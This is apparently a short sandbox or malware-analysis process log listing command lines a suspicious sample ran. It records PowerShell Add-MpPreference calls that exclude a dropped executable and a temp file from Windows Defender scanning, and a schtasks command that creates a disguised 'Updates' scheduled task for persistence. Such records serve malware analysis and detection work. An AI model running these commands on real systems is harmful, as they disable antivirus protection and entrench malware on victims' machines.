powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\plain.txt"
2788powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Roaming\lvbgVm.exe"
2848schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lvbgVm" /XML "C:\Users\test22\AppData\Local\Temp\tmp31F3.tmp"
2900powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Roaming\lvbgVm.exe"
2996plain.txt "C:\Users\test22\AppData\Local\Temp\plain.txt"
3044